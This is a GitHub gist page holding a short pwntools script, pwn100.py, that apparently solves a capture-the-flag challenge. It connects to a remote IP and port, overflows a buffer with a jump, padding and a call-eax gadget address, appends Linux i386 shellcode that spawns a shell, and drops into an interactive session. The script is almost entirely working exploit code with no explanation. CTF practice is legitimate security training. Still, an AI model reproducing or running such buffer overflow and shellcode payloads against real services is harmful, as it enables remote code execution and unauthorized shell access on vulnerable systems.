Skip to content

Instantly share code, notes, and snippets.

@Becojo

Becojo/pwn100.py

Created July 30, 2017 21:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Becojo/afd75d107dc521a7e6083975889152ad to your computer and use it in GitHub Desktop.
Save Becojo/afd75d107dc521a7e6083975889152ad to your computer and use it in GitHub Desktop.
Download ZIP
Raw
pwn100.py
from pwn import *
# p = process('tee i | ./pwn100', shell=True)
p = remote("54.153.19.139",5251)
calleax = 0x08048386
payload = asm("jmp $+32")
payload = payload.ljust(32 - 4)
payload += p32(calleax)
payload += asm(shellcraft.i386.linux.sh())
p.sendline(payload)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment